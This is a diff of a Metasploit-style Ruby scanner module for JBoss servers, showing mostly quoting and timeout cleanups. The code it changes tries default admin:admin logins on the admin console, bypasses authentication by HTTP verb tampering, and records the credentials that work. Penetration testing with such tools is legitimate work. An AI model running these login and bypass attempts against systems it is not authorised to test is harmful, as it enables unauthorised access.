@@ -41,7 +41,7 @@ def run_host(ip)
41
41
'uri' => "/" + Rex ::Text . rand_text_alpha ( 12 ) ,
42
42
'method' => 'GET' ,
43
43
'ctype' => 'text/plain'
44
- } , 20 )
44
+ } )
45
45
46
46
if res
47
47
@@ -87,7 +87,7 @@ def check_app(app)
87
87
'uri' => app ,
88
88
'method' => 'GET' ,
89
89
'ctype' => 'text/plain'
90
- } , 20 )
90
+ } )
91
91
92
92
if res
93
93
case
@@ -118,22 +118,22 @@ def jboss_as_default_creds
118
118
return false if session . nil?
119
119
120
120
# Default AS creds
121
- username = " admin"
122
- password = " admin"
121
+ username = ' admin'
122
+ password = ' admin'
123
123
124
124
res = send_request_raw ( {
125
- " uri" => " /admin-console/login.seam" ,
126
- " method" => " POST" ,
127
- " version" => " 1.1" ,
128
- " vhost" => "#{ rhost } " ,
129
- " headers" => { " Content-Type" => " application/x-www-form-urlencoded" ,
130
- " Cookie" => "JSESSIONID=#{ session [ 'jsessionid' ] } "
125
+ ' uri' => ' /admin-console/login.seam' ,
126
+ ' method' => ' POST' ,
127
+ ' version' => ' 1.1' ,
128
+ ' vhost' => "#{ rhost } " ,
129
+ ' headers' => { ' Content-Type' => ' application/x-www-form-urlencoded' ,
130
+ ' Cookie' => "JSESSIONID=#{ session [ 'jsessionid' ] } "
131
131
} ,
132
- " data" => "login_form=login_form&login_form%3Aname=#{ username } &login_form%3Apassword=#{ password } &login_form%3Asubmit=Login&javax.faces.ViewState=#{ session [ "viewstate" ] } "
133
- } , 20 )
132
+ ' data' => "login_form=login_form&login_form%3Aname=#{ username } &login_form%3Apassword=#{ password } &login_form%3Asubmit=Login&javax.faces.ViewState=#{ session [ "viewstate" ] } "
133
+ } )
134
134
135
135
# Valid creds if 302 redirected to summary.seam and not error.seam
136
- if res && res . code == 302 && /error.seam/m !~ res . headers . to_s && /summary.seam/m =~ res . headers . to_s
136
+ if res && res . code == 302 && res . headers . to_s !~ /error.seam/m && res . headers . to_s =~ /summary.seam/m
137
137
print_good ( "#{ rhost } :#{ rport } Authenticated using #{ username } :#{ password } at /admin-console/" )
138
138
add_creds ( username , password )
139
139
else
@@ -145,8 +145,8 @@ def add_creds(username, password)
145
145
service_data = {
146
146
address : rhost ,
147
147
port : rport ,
148
- service_name : " jboss" ,
149
- protocol : " tcp" ,
148
+ service_name : ' jboss' ,
149
+ protocol : ' tcp' ,
150
150
workspace_id : framework . db . workspace . id
151
151
}
152
152
@@ -165,22 +165,25 @@ def add_creds(username, password)
165
165
166
166
def jboss_as_session_setup ( rhost , rport )
167
167
res = send_request_raw ( {
168
- 'uri' => " /admin-console/login.seam" ,
169
- 'method' => " GET" ,
170
- 'version' => " 1.1" ,
168
+ 'uri' => ' /admin-console/login.seam' ,
169
+ 'method' => ' GET' ,
170
+ 'version' => ' 1.1' ,
171
171
'vhost' => "#{ rhost } "
172
- } , 20 )
172
+ } )
173
173
174
- if res
175
- begin
176
- viewstate = /javax.faces.ViewState" value="(.*)" auto/ . match ( res . body ) . captures [ 0 ]
177
- jsessionid = /JSESSIONID=(.*);/ . match ( res . headers . to_s ) . captures [ 0 ]
178
- rescue
179
- print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
180
- return nil
181
- end
182
- return { "jsessionid" => jsessionid , "viewstate" => viewstate }
174
+ unless res
175
+ return nil
176
+ end
177
+
178
+ begin
179
+ viewstate = /javax.faces.ViewState" value="(.*)" auto/ . match ( res . body ) . captures [ 0 ]
180
+ jsessionid = /JSESSIONID=(.*);/ . match ( res . headers . to_s ) . captures [ 0 ]
181
+ rescue ::NoMethodError
182
+ print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
183
+ return nil
183
184
end
185
+
186
+ { 'jsessionid' => jsessionid , 'viewstate' => viewstate }
184
187
end
185
188
186
189
def bypass_auth ( app )
@@ -190,7 +193,7 @@ def bypass_auth(app)
190
193
'uri' => app ,
191
194
'method' => datastore [ 'VERB' ] ,
192
195
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
193
- } , 20 )
196
+ } )
194
197
195
198
if res && res . code == 200
196
199
print_good ( "#{ rhost } :#{ rport } Got authentication bypass via HTTP verb tampering" )
@@ -205,7 +208,7 @@ def basic_auth_default_creds(app)
205
208
'method' => 'GET' ,
206
209
'ctype' => 'text/plain' ,
207
210
'authorization' => basic_auth ( 'admin' , 'admin' )
208
- } , 20 )
211
+ } )
209
212
210
213
if res && res . code == 200
211
214
print_good ( "#{ rhost } :#{ rport } Authenticated using admin:admin at #{ app } " )
0 commit comments